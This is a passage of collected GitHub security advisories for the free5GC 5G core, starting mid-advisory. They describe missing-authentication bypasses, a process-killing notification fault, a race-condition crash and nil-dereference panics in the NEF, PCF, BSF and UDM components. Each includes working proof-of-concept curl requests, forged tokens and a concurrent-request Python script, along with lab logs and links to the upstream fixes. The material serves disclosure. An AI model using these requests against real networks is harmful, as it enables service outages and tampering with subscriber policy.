Observed output: HTTP/1.1 404 Not Found {"title":"Data not found","status":404,"detail":"Subscription is not found"}

The 404 is positive auth-bypass evidence: the request was parsed and dispatched into the callback business handler instead of being rejected at the auth boundary. NEF container logs (docker logs nef) confirm the callback handler was reached: [INFO][NEF][TraffInfl] SmfNotification - NotifId[forged-notif] [INFO][NEF][GIN] | 404 | POST | /nnef-callback/v1/notification/smf

Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the NEF nnef-callback SBI route group. This is the trusted ingestion point for SMF -> NEF notifications. The defect is route-group-scoped: there is no auth middleware on the group at all, so every callback endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's intended capability surface (consume SMF notifications and mutate NEF / downstream subscription state), NOT against the specific PoC where the chosen NotifId happened to be invalid.

Any party that can reach NEF on the SBI can: - Submit forged SMF callbacks to NEF anonymously, with body content fully controlled by the attacker. - Reach NEF callback business logic without proving producer NF identity, so any attacker who can guess or obtain a valid NotifId can deliver forged event notifications against real subscription state -- corrupting AF traffic-influence / PFD-management subscription views and the downstream SMF/UPF policy decisions that depend on them. - Hit any future callback added behind this same route group anonymously, because the auth boundary does not exist for this group.

The nnef-callback route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/860 Upstream fix: https://github.com/free5gc/nef/pull/24

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary free5GC's NEF terminates the entire process when a stored PFD-subscription notifyUri cannot be reached. In PfdChangeNotifier.FlushNotifications(), the notifier calls NnefPFDmanagementNotify(...) and on any delivery error invokes logger.PFDManageLog.Fatal(err), which is os.Exit(1)-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen notifyUri and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status 1, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch Fatal).

The trigger uses three POSTs that are reachable without an Authorization header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the Fatal-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above.

Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.1 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-20 (container log timestamp 2026-03-20T16:00:03Z) - NEF endpoint: http://10.100.200.19:8000

Vulnerable notifier path: go , err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify( context.TODO(), nc.notifier.getSubURI(id), notifyReq) if err != nil { logger.PFDManageLog.Fatal(err) // <-- os.Exit(1)-equivalent }

The failing branch is reached whenever NEF's outbound POST to the subscriber's notifyUri returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns 201 Created and only then does NEF die.

Code evidence (paths in free5gc/nef): - Notifier dispatch: - NFs/nef/internal/sbi/notifier/pfdnotifier.go:135 - Fatal call site (process exit): - NFs/nef/internal/sbi/notifier/pfdnotifier.go:142

PoC Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit.

1. Create an AF context (no Authorization header): curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-dos","anyUeInd":true}' HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1

2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally): curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}' HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1

3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI: curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}' The PFD POST itself returns 201, but immediately afterward NEF exits.

4. Confirm the NEF container is dead (exited, exit=1): docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}' status=exited restart=0 exit=1

5. NEF container logs (docker logs --since 2026-03-20T16:00:03Z nef) show the [FATA] line that terminated the process: [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos] [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions | [FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused

Impact Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied notifyUri. logger.Fatal is os.Exit(1)-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates.

In v4.2.1, the trigger chain is reachable without an Authorization header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can: - Submit the three-step trigger anonymously and immediately terminate the NEF process. - Repeat the trigger after every restart to sustain the outage. - Pick any unreachable notifyUri (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same Fatal, so partial fixes that block one URI do not close the family.

No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/924 Upstream fix: https://github.com/free5gc/nef/pull/25

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Race Condition
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart.

This endpoint requires a valid nbsf-management OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS.

Details Validated against the BSF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/bsf:v4.2.1 - Docker validation date: 2026-03-22 - BSF endpoint: http://10.100.200.11:8000

Read side (locked): go func (c BSFContext) GetSubscription(subId string) (BsfSubscription, bool) { c.mutex.RLock() defer c.mutex.RUnlock()

sub, exists := c.Subscriptions[subId] return sub, exists }

Unsafe write side in the create-if-absent branch of ReplaceIndividualSubcription (no Lock()): go subscription.SubId = subId bsfContext.BsfSelf.Subscriptions[subId] = subscription

Under concurrent traffic, the Go runtime detects the unsynchronized read/write on c.Subscriptions and aborts the process. Go's concurrent map read and map write fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates.

Code evidence (paths in free5gc/bsf): - Read side (locked): - NFs/bsf/internal/sbi/processor/subscriptions.go:81 - NFs/bsf/internal/context/context.go:726 - NFs/bsf/internal/context/context.go:730 - Unsafe write side (the create-if-absent branch in PUT, no lock): - NFs/bsf/internal/sbi/processor/subscriptions.go:111 - NFs/bsf/internal/sbi/processor/subscriptions.go:114

The normal locked helpers (CreateSubscription(), GetSubscription(), UpdateSubscription(), DeleteSubscription()) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch.

PoC Reproduced end-to-end against the running BSF at http://10.100.200.11:8000.

1. Obtain a valid nbsf-management token from NRF: curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'granttype=clientcredentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management'

2. Send concurrent PUT requests against fresh subId values (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs): python import json, threading, urllib.request

TOKEN = "<validnbsfmanagementjwt>" BASE = "http://10.100.200.11:8000/nbsf-management/v1" PAYLOAD = json.dumps({ "events": ["PCFBINDINGCREATION"], "notifUri": "http://127.0.0.1/cb", "notifCorreId": "1", "supi": "imsi-208930000000003", }).encode()

def sendput(i, n): url = f"{BASE}/subscriptions/race-mix-{i}-{n}" req = urllib.request.Request(url, data=PAYLOAD, method="PUT") req.addheader("Authorization", f"Bearer {TOKEN}") req.addheader("Content-Type", "application/json") urllib.request.urlopen(req, timeout=2).read()

threads = [] for i in range(64): for n in range(50): threads.append(threading.Thread(target=sendput, args=(i, n))) for t in threads: t.start() for t in threads: t.join()

3. BSF container logs (docker logs bsf) show the Go runtime fatal that terminated the process: [INFO][BSF][Proc] Handle ReplaceIndividualSubcription fatal error: concurrent map read and map write github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300) github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f

4. Container state confirms exit code 2: exited|2|0

Impact Unsynchronized concurrent access (CWE-362) to a shared map (BsfSelf.Subscriptions), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's recover() middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's nbsf-management SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart.

Any party that holds (or can obtain) a valid nbsf-management token can: - Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh subId values, deterministically tripping the runtime fatal and killing the BSF process. - Repeat the trigger after every restart to sustain the outage.

No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Null Pointer Dereference
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary free5GC's PCF POST /npcf-policyauthorization/v1/app-sessions handler panics on a single authenticated request whose ascReqData.suppFeat == "1" (enabling traffic-routing feature negotiation) and whose medComponents entries supply an afAppId but NO AfRoutReq. The create path then calls provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...) with routeReq == nil and dereferences routeReq.RouteToLocs (and other fields) without a nil check, causing runtime error: invalid memory address or nil pointer dereference. Gin recovery converts the panic into HTTP 500.

The trigger is a single valid authenticated request -- changing only suppFeat from "0" to "1" flips the same shape of POST from a normal 201 Created into a panic-driven 500.

This endpoint requires a valid npcf-policyauthorization OAuth2 access token (PR:L). The PCF process is not killed (Gin recovers); the realized impact is per-request panic-DoS on the app-session create path.

Details Validated against the PCF container in the official Docker compose lab. - Source repo tag: v4.2.1 - PCF endpoint: http://10.100.200.9:8000 - Validation date: 2026-03-12

Vulnerable handler path: postAppSessCtxProcedure -> medComponents loop -> appID := medComp.AfAppId routeReq := medComp.AfRoutReq // nil when AfRoutReq absent provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, medComp.FStatus)

In provisioningOfTrafficRoutingInfo, routeReq.RouteToLocs, routeReq.UpPathChgSub, and routeReq.AppReloc are dereferenced directly without a nil check. When suppFeat is "0" the traffic-routing branch is not entered and the same input shape returns 201 Created; when suppFeat is "1" the branch is entered and the nil-deref fires.

Code evidence (paths in free5gc/pcf): - Affected route + dispatch: NFs/pcf/internal/sbi/apipolicyauthorization.go - Create handler path: NFs/pcf/internal/sbi/processor/policyauthorization.go - Call site that passes nil routeReq into the traffic-routing helper: NFs/pcf/internal/sbi/processor/policyauthorization.go - Panic site (nil deref of routeReq. fields): NFs/pcf/internal/sbi/processor/policyauthorization.go:1740

PoC Reproduced end-to-end against the running PCF at http://10.100.200.9:8000.

1. Obtain a valid npcf-policyauthorization token from NRF: curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'granttype=clientcredentials&nfType=NEF&nfInstanceId=b84c4f0a-6010-4972-8480-e44e625b9ee4&targetNfType=PCF&scope=npcf-policyauthorization'

2. Trigger the panic with a single valid authenticated POST whose ascReqData.suppFeat == "1", medComponents supplies afAppId, and AfRoutReq is absent: curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <validnpcfpolicyauthorizationjwt>' \ --data '{"ascReqData":{"suppFeat":"1","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' HTTP/1.1 500 Internal Server Error

3. Control comparison -- same request shape but suppFeat="0" -> normal 201 Created: curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <validnpcfpolicyauthorizationjwt>' \ --data '{"ascReqData":{"suppFeat":"0","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' HTTP/1.1 201 Created

4. PCF container logs show the panic stack landing in provisioningOfTrafficRoutingInfo with routeReq = 0x0: [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.provisioningOfTrafficRoutingInfo(..., 0x0, ...) .../policyauthorization.go:1740 github.com/free5gc/pcf/internal/sbi/processor.(Processor).postAppSessCtxProcedure .../policyauthorization.go:288 github.com/free5gc/pcf/internal/sbi/processor.(Processor).HandlePostAppSessionsContext .../policyauthorization.go:139 github.com/free5gc/pcf/internal/sbi.(Server).HTTPPostAppSessions .../apipolicyauthorization.go:119 [INFO][PCF][GIN] | 500 | POST | /npcf-policyauthorization/v1/app-sessions |

Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the create path passes routeReq straight into provisioningOfTrafficRoutingInfo without a nil check, even though medComp.AfRoutReq is optional and is nil for the demonstrated valid input shape. The control experiment with suppFeat="0" proves the request shape itself is otherwise valid.

Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any authenticated POST against this endpoint with suppFeat="1" and medComponents..AfAppId set but AfRoutReq absent returns HTTP 500 with empty body and a stack trace in PCF logs.

Any party that holds (or can obtain) a valid npcf-policyauthorization token can repeatedly drive this code path to sustain a per-request panic-DoS on the app-session create endpoint, with each panic costing more CPU + log writes than the intended controlled response would have.

No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/879 Upstream fix: https://github.com/free5gc/pcf/pull/65

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Null Pointer Dereference
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary free5GC's PCF POST /npcf-smpolicycontrol/v1/sm-policies handler (HandleCreateSmPolicyRequest) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns 404 Not Found and the consumer wrapper returns err != nil together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into HTTP 500, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running.

The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In v4.2.1 this endpoint is also reachable WITHOUT an Authorization header because the PCF NpcfSMPolicyControl route group is mounted without inbound auth middleware (see free5gc/free5gc#844). So in the validation lab the trigger is fully unauthenticated.

Details Validated against the PCF container in the official Docker compose lab. - free5GC version: v4.1.0 (originally reported on v4.1.0; same defect present in v4.2.1) - PCF endpoint: http://10.100.200.9:8000

Vulnerable handler path (paraphrased from the captured stack trace): [INFO][PCF][SMpolicy] Handle CreateSmPolicy [ERRO][PCF][Consumer] openapi error: 404, Not Found [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.(Processor).HandleCreateSmPolicyRequest /go/src/free5gc/NFs/pcf/internal/sbi/processor/smpolicy.go:82 +0x562 github.com/free5gc/pcf/internal/sbi.(Server).HTTPCreateSMPolicy /go/src/free5gc/NFs/pcf/internal/sbi/apismpolicy.go:86 +0x405

The handler's UDR-failure branch logs the OpenAPI error but does not return; the next line dereferences the nil response struct.

Code evidence (paths in free5gc/pcf): - Panic site: - NFs/pcf/internal/sbi/processor/smpolicy.go:82 - Route dispatch: - NFs/pcf/internal/sbi/apismpolicy.go:86

PoC Reproduced end-to-end against the running PCF at http://10.100.200.9:8000.

Send a single POST whose dnn is unknown to UDR -- this drives the downstream OpenAPI call to return 404 Not Found, which then triggers the nil-deref panic: curl -sS -X POST 'http://10.100.200.9:8000/npcf-smpolicycontrol/v1/sm-policies' \ -H 'Content-Type: application/json' \ -d '{ "supi":"imsi-208930000000003", "pduSessionId":1, "dnn":"internet-bad", "sliceInfo":{"sst":1,"sd":"010203"}, "servingNetwork":{"mcc":"208","mnc":"93"}, "accessType":"3GPPACCESS", "notificationUri":"http://smf.free5gc.org:8000/npcf-smpolicycontrol/v1/notify" }'

Observed response: HTTP 500 Internal Server Error with empty body.

PCF container logs show: [INFO][PCF][SMpolicy] Handle CreateSmPolicy [ERRO][PCF][Consumer] openapi error: 404, Not Found [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference ...HandleCreateSmPolicyRequest at smpolicy.go:82...

The Gin recovery middleware catches the panic (the captured stack trace runs inside ginRecover.func2.1), so the PCF process keeps serving other requests; the realized impact is per-request HTTP 500 on this endpoint whenever the downstream lookup fails.

Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the UDR-failure branch logs the OpenAPI error but does not return, then dereferences the nil response struct. The intended behavior is to return a controlled 4xx/5xx ProblemDetails and stop processing.

Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any unauthenticated POST that drives the downstream UDR lookup to a 404 returns HTTP 500 (with empty body and a stack trace in PCF logs) instead of a controlled error response.

No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation. The endpoint remains reachable to unauthenticated attackers via the route-group auth gap separately tracked in free5gc/free5gc#844.

Affected: free5gc v4.2.1 (originally reported against v4.1.0; same defect present).

Upstream issue: https://github.com/free5gc/free5gc/issues/803 Upstream fix: https://github.com/free5gc/pcf/pull/62

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

Summary free5GC's NEF mounts the 3gpp-pfd-management API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token). The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed.

Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.0 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-11

NEF advertises OAuth2 setting receive from NRF: true, and its ServiceList only declares nnef-pfdmanagement and nnef-oam. Despite that, the 3gpp-pfd-management route group is mounted and reachable with no inbound auth middleware.

Code evidence (paths in free5gc/nef): - Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:52 - Transaction routes exposed at /:scsAsID/transactions and /:scsAsID/transactions/:transID: NFs/nef/internal/sbi/apipfd.go:13 - Create handler still contains // TODO: Authorize the AF: NFs/nef/internal/sbi/processor/pfd.go:70 - POST allocates a new PFD transaction and writes to UDR: NFs/nef/internal/sbi/processor/pfd.go:63 - GET reads transaction state: NFs/nef/internal/sbi/processor/pfd.go:189 - DELETE removes transaction state: NFs/nef/internal/sbi/processor/pfd.go:328 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nefcontext.go:153 - Config validation only allows nnef-pfdmanagement and nnef-oam: NFs/nef/pkg/factory/config.go:126

PoC Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.

1. Seed an AF context (also accepted with forged token): curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-seed2","afAppId":"app-seed2","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.31 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-seed2","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions

2. CREATE PFD transaction with forged token -> 201 Created: curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfd2":{"externalAppId":"app-poc-pfd2","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://poc.example.com(/\\\\S)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions

3. READ -> 200 OK: curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1

4. DELETE -> 204 No Content: curl -i -X DELETE -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1

5. READ again -> 404 PFD transaction not found, confirming state was actually deleted.

NEF container logs (docker logs nef) show the requests reaching business handlers and returning success codes: [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2] [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/af-poc-pfd2/transactions [INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 [INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1

Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can: - Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification. - Read existing PFD transactions, leaking AF-supplied policy data. - Delete PFD transactions, denying service to legitimately provisioned application detection rules.

The PFD-management route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.

Affected: free5gc <=v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/858 Upstream fix: https://github.com/free5gc/nef/pull/23

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
Input Validation
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The free5GC UDM component fails to validate the supi path parameter in six GET handlers of the nudm-sdm (Subscriber Data Management) service. An unauthenticated attacker can inject control characters into the SUPI parameter, causing UDM to forward a malformed request to UDR and return a 500 Internal Server Error response that exposes internal infrastructure details.

Affected Package

- Ecosystem: Go - Package: github.com/free5gc/udm - Affected versions: <= v1.4.2 - Patched versions: none yet

Details

The following handlers in internal/sbi/apisubscriberdatamanagement.go do not call validator.IsValidSupi() before passing the supi parameter to the processor:

- HandleGetSmfSelectData — GET /:supi/smf-select-data - HandleGetSupi — GET /:supi - HandleGetTraceData — GET /:supi/trace-data - HandleGetUeContextInSmfData — GET /:supi/ue-context-in-smf-data - HandleGetNssai — GET /:supi/nssai - HandleGetSmData — GET /:supi/sm-data

By contrast, HandleGetAmData in the same file correctly validates the supi parameter:

go // HandleGetAmData — correctly validates (not vulnerable) supi := c.Params.ByName("supi") if !validator.IsValidSupi(supi) { c.JSON(http.StatusBadRequest, problemDetail) return }

// HandleGetSmfSelectData — missing validation (vulnerable) supi := c.Params.ByName("supi") // ← no validator.IsValidSupi(supi) call s.Processor().GetSmfSelectDataProcedure(c, supi, plmnID, supportedFeatures)

The malformed supi is passed to the processor which constructs a URL to forward the request to UDR. Go's net/url parser rejects the URL containing control characters and returns an error. UDM catches this error and responds with a 500 SYSTEMFAILURE that includes the full internal UDR URL in the detail field.

This is a missed fix of CVE-2026-27642, which applied the same validator.IsValidSupi() check only to internal/sbi/apiueauthentication.go (HandleConfirmAuth and HandleGenerateAuthData), leaving the SDM service handlers unpatched.

Proof of Concept

bash Vulnerable — returns 500 with internal UDR URL exposed curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/smf-select-data" curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/nssai" curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/trace-data" curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/sm-data"

Expected (vulnerable) response: HTTP 500 { "title": "System failure", "status": 500, "detail": "parse \"http://udr.internal:80/nudr-dr/v2/subscription-data/imsi-22277\x00INJECTED//provisioned-data/smf-selection-subscription-data\": net/url: invalid control character in URL", "cause": "SYSTEMFAILURE" }

Protected endpoint (for comparison) — returns 400 curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/am-data" HTTP 400 {"title":"Malformed request syntax","status":400,"detail":"Supi is invalid","cause":"MANDATORYIEINCORRECT"}

Impact

An unauthenticated remote attacker can send a crafted GET request to any of the six affected endpoints to obtain:

1. Internal UDR hostname and port 2. Full internal API path structure (/nudr-dr/v2/subscription-data/...) 3. UDR API version 4. Internal service naming convention

This information can be used to facilitate further attacks against the UDR or other internal 5G core components.

Recommended Fix

Add validator.IsValidSupi() to all six affected handlers, following the pattern already used in HandleGetAmData:

go supi := c.Params.ByName("supi") if !validator.IsValidSupi(supi) { problemDetail := models.ProblemDetails{ Title: "Malformed request syntax", Status: http.StatusBadRequest, Detail: "Supi is invalid", Cause: "MANDATORYIEINCORRECT", } c.Set(sbi.INPBDETAILSCTXSTR, http.StatusText(int(problemDetail.Status))) c.JSON(int(problemDetail.Status), problemDetail) return }

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Summary PCF NpcfSMPolicyControl missing authentication middleware allows unauthenticated access to SM policy handlers and disclosure of subscriber SUPI Details In NewServer(), the smPolicyGroup route group is created and routes are applied without attaching the router authorization middleware. In contrast, other PCF service groups such as NpcfPolicyAuthorization do attach RouterAuthorizationCheck before route registration.

Because the middleware is missing, requests to the following endpoints can reach business logic even when no valid OAuth token is provided:

- POST /npcf-smpolicycontrol/v1/sm-policies - GET /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId} - POST /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId}/update - POST /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId}/delete

This is visible at runtime because unauthenticated requests return business-level responses such as 400 or 404 instead of being rejected with 401 before handler execution. Under valid lab preconditions (existing UE/session context and related policy data), unauthenticated POST /sm-policies can succeed with 201, and unauthenticated GET /sm-policies/{id} can succeed with 200 and return policy context containing subscriber identifiers including supi.

The root cause is missing router auth enforcement for NpcfSMPolicyControl. Upstream also fixed this by adding RouterAuthorizationCheck to smPolicyGroup (and uePolicyGroup) in free5gc/pcf PR #63.

PoC 1. Deploy free5GC with PCF reachable on the SBI network. 2. Use the PoC against the PCF service without an Authorization header: bash go run /home/ubuntu/free5gc/tools/npcf-smpolicy-noauth-poc/main.go \ --pcf-root /home/ubuntu/free5gc/NFs/pcf \ --pcf-url http://10.100.200.9:8000 \ --timeout 4s Observe that unauthenticated requests to NpcfSMPolicyControl return business responses instead of 401. Impact

This is an authentication/authorization bypass on a network-accessible SBI service. Any unauthenticated actor able to reach the PCF SBI interface can invoke NpcfSMPolicyControl handlers directly.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
